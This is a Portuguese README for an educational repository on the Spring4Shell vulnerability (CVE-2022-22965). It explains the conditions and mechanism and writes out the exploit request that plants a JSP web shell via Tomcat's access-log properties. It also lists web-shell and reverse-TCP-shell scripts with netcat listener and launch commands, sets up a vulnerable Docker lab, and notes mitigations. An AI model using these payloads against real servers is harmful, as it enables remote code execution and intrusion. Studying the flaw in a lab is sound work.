
Descrição
Aviso legal: Este repositório destina-se exclusivamente a fins educacionais e de pesquisa. Todos os scripts de exploit devem ser usados apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O autor não é responsável por qualquer uso indevido ou dano causado por este material.
Estudo e prova de conceito para CVE-2022-22965, uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Spring Framework, divulgada publicamente em abril de 2022.
Spring4Shell afeta aplicações Spring MVC e Spring WebFlux quando todas as seguintes condições são atendidas:
| Condição | Valor |
|---|---|
| Versão do JDK | 9 ou superior |
| Servidor de aplicações | Apache Tomcat |
| Empacotamento | WAR (não JAR executável) |
| Spring Framework | < 5.3.18 ou < 5.2.20 |
O mecanismo de ligação de dados (data binding) do Spring permite que parâmetros de requisição HTTP sejam
mapeados para propriedades de objetos Java usando notação de ponto (por exemplo, user.name=foo). A
vulnerabilidade surge porque essa travessia não é restringida adequadamente — um atacante pode alcançar o
ClassLoader da JVM através da hierarquia de classes do objeto modelo:
class.module.classLoader.resources.context.parent.pipeline.first.<property>
Esse caminho alcança o AccessLogValve do Tomcat, cuja configuração de logging pode ser manipulada em
tempo de execução. Ao modificar propriedades como pattern, directory, prefix e suffix, o atacante
redireciona o log de acesso do Tomcat para gravar um arquivo com extensão .jsp contendo código JSP
arbitrário — efetivamente instalando um web shell no servidor.
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # POST-based web shell with password protection
│ ├── exploit2.py # POST-based web shell with reset capability
│ ├── exploit3.py # GET-based variant (simplified)
│ ├── exploit4.py # Reverse TCP shell (GET-based)
│ └── exploit4b.py # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
├── Dockerfile # Uses pre-built tomcat:9.0.60 image
├── Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
├── pom.xml # Maven project — Spring MVC 5.3.17 (vulnerable)
└── src/ # Vulnerable Spring MVC application source
| Script | Método | Payload | Notas |
|---|---|---|---|
exploit1.py | POST | Web shell (protegido por senha) | Requisição única |
exploit2.py | POST | Web shell | Redefine a configuração de log antes/depois do exploit |
exploit3.py | GET | Web shell (sem senha) | Parâmetros via query string |
exploit4.py | GET | Reverse TCP shell | Payload JSP baseado em msfvenom |
exploit4b.py | POST | Reverse TCP shell | Mesmo payload do exploit4, variante POST |
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven ou sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
A aplicação estará então disponível em http://localhost:8082/vulnerable.
WebDataBinder.setDisallowedFields() para bloquear a ligação de classLoaderclass., Class., module. ou classLoaderPesquisa original e código de exploit por @march0n. Este repositório é um estudo pessoal da vulnerabilidade para fins de aprendizado, com documentação e análise adicionais.